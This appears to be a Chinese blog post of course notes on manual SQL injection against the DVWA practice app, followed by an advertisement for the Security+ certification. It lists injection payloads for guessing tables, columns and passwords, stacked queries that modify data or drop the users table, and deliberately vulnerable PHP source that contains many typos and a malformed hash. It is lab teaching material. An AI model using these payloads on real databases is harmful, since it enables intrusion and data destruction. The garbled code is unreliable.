1. 程式人生 > >【安全牛學習筆記】手動漏洞挖掘-SQL註入

【安全牛學習筆記】手動漏洞挖掘-SQL註入

security+ 漏洞 信息安全

手動漏洞挖掘-----SQL註入

無權讀取information_schema庫 / 拒絕union、orderby語句

猜列明: ‘and column is null--+

Burp suite自動猜列名

猜當前表表名: ‘and table user is null--+

猜庫裏其他表: ‘and (select count(*) from table)>0--+

列表對應關系: ‘and user.user is null--+

猜字段內容: ‘or user=‘admin

‘or user like ‘%a%

猜賬號對應密碼:

‘or user=‘admin‘ and password=‘5f4dcc3b5aa765d61d8327dev832cf99

[email protected]:~# find / -name *column*.txt

find: ‘/media/sf_D_DRIVE/$RECYCLE.BIN/S-1-5-21-2268366954-3546357879-2348310953-1001‘: 不允許的操作

find: ‘/media/sf_D_DRIVE/System Volume Information‘: 不允許的操作

/media/sf_D_DRIVE/軟件/Pangolin/columns.txt

/media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin3.3/columns.txt

/media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin_professinal_edit

ion_4.0.0.1293/professinal_edition/columns.txt

/usr/share/golismero/tools/sqlmap/txt/common-columns.txt

/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt

/usr/share/sqlmap/txt/common-columns.txt

[email protected]:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt

[email protected]:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt

[email protected]:~# cat column.txt

[email protected]:~# find / -name *table*.txt

[email protected]:~# cp /media/sf_D_DRIVE/軟件/Pangolin/pangolin3.3+4.0+註冊機/pangolin_professinal_edition_edition_4.0.0.1293/professinal_edition/tables.txt .

[email protected]:~# ls

column.txt Desktop Document Downloads Music Pictures Public table.txt Templates Videos

[email protected]:~# cat table.txt

[email protected]:~# cp /usr/share/golismero/tools/sqlmap/txt/common-table.txt

[email protected]:~# cat common-table.txt

[email protected]:~# cat common-table.txt | grep -v ^# table.txt

手動漏洞挖掘-----SQL註入

當數據庫可寫

;update users set user=‘yuanfh‘ where user=‘admin

註入失敗,Sql客戶端工具的問題

http://dev/mysql.com/doc/refman/5.7/en/commands-out-of-sync.html

;INSERT INTO users (‘user_id‘,‘first_name‘,‘last_name‘,‘user‘,‘password‘,‘avatar‘)VALUES

(‘35‘,‘fh‘,‘yuan‘,‘yfh‘,‘5f4dcc3b5aa765d61d8327dev832cf99‘,‘OK‘);--+

;DROP TABLE users;--

xp_cmdshell/存儲過程

SQLi沒有通用的方法,掌握原理,了解各種數據庫特性

[email protected]:~# echo password > 1

[email protected]:~# md5sum 1

286755fad04869ca523320acce0dc6a4

[email protected]:~$ msysql -u root -p

mysql> use dvwa;

mysql> select * from users;select * from guestbook;

手動漏洞挖掘-----SQL註入

Medium難度級別

mysql_real_escape_string()

PHP 4 >= 4.3.0,PHP 5

PHP 5.5.0已經棄用此函數

PHP 7.0.0已經刪除此函數,代之以MySQLi、PDO_MySQL

轉義符,對下列字符轉義

\x00

\n

\r

"

\x1a

----------------------------------------------------------------------------------

低安全代碼

<?php

if(isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET(‘id‘);

$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";

$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);

$num = mysql_numrows($result);

$i = 0;

while ($i < $num){

$frist = mysql_result($result.$i."frist_name");

$last = mysql_result($result.$i."last_name");

echo ‘<pre>‘;

echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;

echo ‘</pre>‘;

$i++;

}

}

?>

----------------------------------------------------------------------------------

中安全代碼

<?php

if(isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET(‘id‘);

$id = mysql_real_escap_sting($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";

$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);

$num = mysql_numrows($result);

$i = 0;

while ($i < $num){

$frist = mysql_result($result.$i."frist_name");

$last = mysql_result($result.$i."last_name");

echo ‘<pre>‘;

echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;

echo ‘</pre>‘;

$i++;

}

}

?>

----------------------------------------------------------------------------------

手動漏洞挖掘-----SQL註入

high難度級別

mysql_real_escape_string()

stripslashes()

去除"\"

is_numeric()

判斷是否是數字

----------------------------------------------------------------------------------

中安全代碼

<?php

if(isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET(‘id‘);

$id = stripsashed($id);

$id = mysql_real_escap_sting($id);

if (is_numeric($id)){

$getid = "SELECT first_name,last_name FROM users WHERE user_id = ‘$id‘";

$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘<pre>‘);

$num = mysql_numrows($result);

$i = 0;

while ($i < $num){

$frist = mysql_result($result.$i."frist_name");

$last = mysql_result($result.$i."last_name");

echo ‘<pre>‘;

echo ‘ID:‘ . $id . ‘<br>first_name:‘ . $frist . ‘<br>Surname:‘ .$,last;

echo ‘</pre>‘;

$i++;

}

}

}

?>

----------------------------------------------------------------------------------

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂

Security+認證為什麽是互聯網+時代最火爆的認證?


牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。

本文出自 “11662938” 博客,請務必保留此出處http://11672938.blog.51cto.com/11662938/1969410

【安全牛學習筆記】手動漏洞挖掘-SQL註入